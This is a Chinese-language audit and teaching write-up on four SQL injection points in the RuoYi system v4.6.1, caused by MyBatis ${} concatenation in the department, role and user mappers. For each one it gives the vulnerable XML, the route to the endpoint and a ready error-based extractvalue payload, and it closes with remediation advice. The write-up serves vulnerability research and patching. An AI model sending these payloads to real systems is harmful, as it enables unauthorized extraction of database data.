若依系统v4.6.1 SQL注入漏洞分析与教学文档

1. 序言

根据若依系统官网的更新日志，v4.6.1版本并未修复v4.6.0版本中存在的SQL注入漏洞。本文档将详细分析若依系统v4.6.1版本中存在的SQL注入漏洞，包括漏洞原理、审计过程、验证方法以及修复建议。

2. 审计方法与工具

2.1 审计方法

• 全局搜索$符号并匹配.xml文件类型，快速定位潜在的SQL注入点
• 使用IDE（如IDEA）的代码追踪功能（Ctrl+左键）跟踪参数传递路径
• 结合Burp Suite进行漏洞验证

2.2 所需工具

• IntelliJ IDEA（用于代码审计）
• Burp Suite（用于漏洞验证）
• 若依系统v4.6.1源码

3. SQL注入漏洞分析

3.1 注入点1：SysDeptMapper.xml中的params.dataScope参数

漏洞位置

resources/mapper/system/SysDeptMapper.xml文件

漏洞代码

<if test="params.dataScope != null and params.dataScope != ''">
    AND ${params.dataScope}
</if>

审计路径

1. 在SysDeptMapper.xml中找到selectDeptList方法
2. 追踪到dao/mapper层
3. 继续追踪到service层
4. 最终定位到controller层：/system/dept/list (POST请求)

验证方法

1. 访问部门管理功能
2. 抓取请求并修改POST请求体：

deptName=&status=&params[dataScope]=and extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))

关键发现

• 正确的注入参数是params[dataScope]而非params.dataScope
• 参数传递过程：controller → service → mapper → XML

影响范围

所有调用selectDeptList(dept)方法的功能点

3.2 注入点2：SysDeptMapper.xml中的ancestors参数

漏洞位置

resources/mapper/system/SysDeptMapper.xml文件

漏洞代码

update sys_dept 
set ancestors = #{ancestors} 
where dept_id in (${ancestors})

审计路径

1. 在SysDeptMapper.xml中找到相关SQL
2. 追踪到SysDeptController.java
3. 对应路由：部门编辑功能

验证方法

1. 编辑市场部门
2. 抓包并构造payload：

ancestors=0) and extractvalue(1,concat(0x7e,substring((select user()),1,32),0x7e)) --

关键发现

• dept_id必须在ancestors范围内才能触发漏洞
• 更新操作前会先进行多次查询

3.3 注入点3：SysRoleMapper.xml中的params.dataScope参数

漏洞位置

resources/mapper/system/SysRoleMapper.xml文件

漏洞代码

<if test="params.dataScope != null and params.dataScope != ''">
    AND ${params.dataScope}
</if>

审计路径

1. 全局搜索selectRoleList方法
2. 追踪到dao → service → controller
3. 对应两个功能点：
   • /system/role/list (GET请求)
   • /system/role/export (POST请求)

验证方法

构造payload：

pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms[dataScope]=and extractvalue(1,concat(0x7e,substring((select user()),1,32),0x7e))

3.4 注入点4：SysUserMapper.xml中的params.dataScope参数

漏洞位置

resources/mapper/system/SysUserMapper.xml文件

漏洞代码

<if test="params.dataScope != null and params.dataScope != ''">
    AND ${params.dataScope}
</if>

审计路径

1. 全局搜索selectUserList方法
2. 追踪到dao → service → controller
3. 对应路由：用户管理功能

验证方法

构造payload：

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms[dataScope]=and extractvalue(1,concat(0x7e,substring((select user()),1,32),0x7e))

4. 漏洞原理分析

4.1 根本原因

所有漏洞均源于MyBatis中使用了${}而非#{}进行参数拼接：

• #{}：预编译参数，安全
• ${}：直接拼接SQL语句，存在SQL注入风险

4.2 参数传递机制

${params.dataScope}表示入参参数的dataScope属性，即SysDept对象的dataScope属性。正确的注入参数格式应为params[dataScope]而非params.dataScope。

5. 修复建议

5.1 临时修复方案

1. 对所有使用${}的SQL语句进行参数化查询改造
2. 添加输入过滤和验证

5.2 长期修复方案

1. 升级到已修复漏洞的若依系统版本
2. 建立代码审计机制，避免类似问题再次发生
3. 使用MyBatis的#{}预编译方式替代${}拼接

6. 总结

若依系统v4.6.1版本中存在多处SQL注入漏洞，主要分布在：

1. 部门管理功能（params.dataScope和ancestors参数）
2. 角色管理功能（params.dataScope参数）
3. 用户管理功能（params.dataScope参数）

这些漏洞均源于不安全的SQL拼接方式，攻击者可利用这些漏洞获取数据库敏感信息。建议用户及时升级系统或按照修复建议进行修补。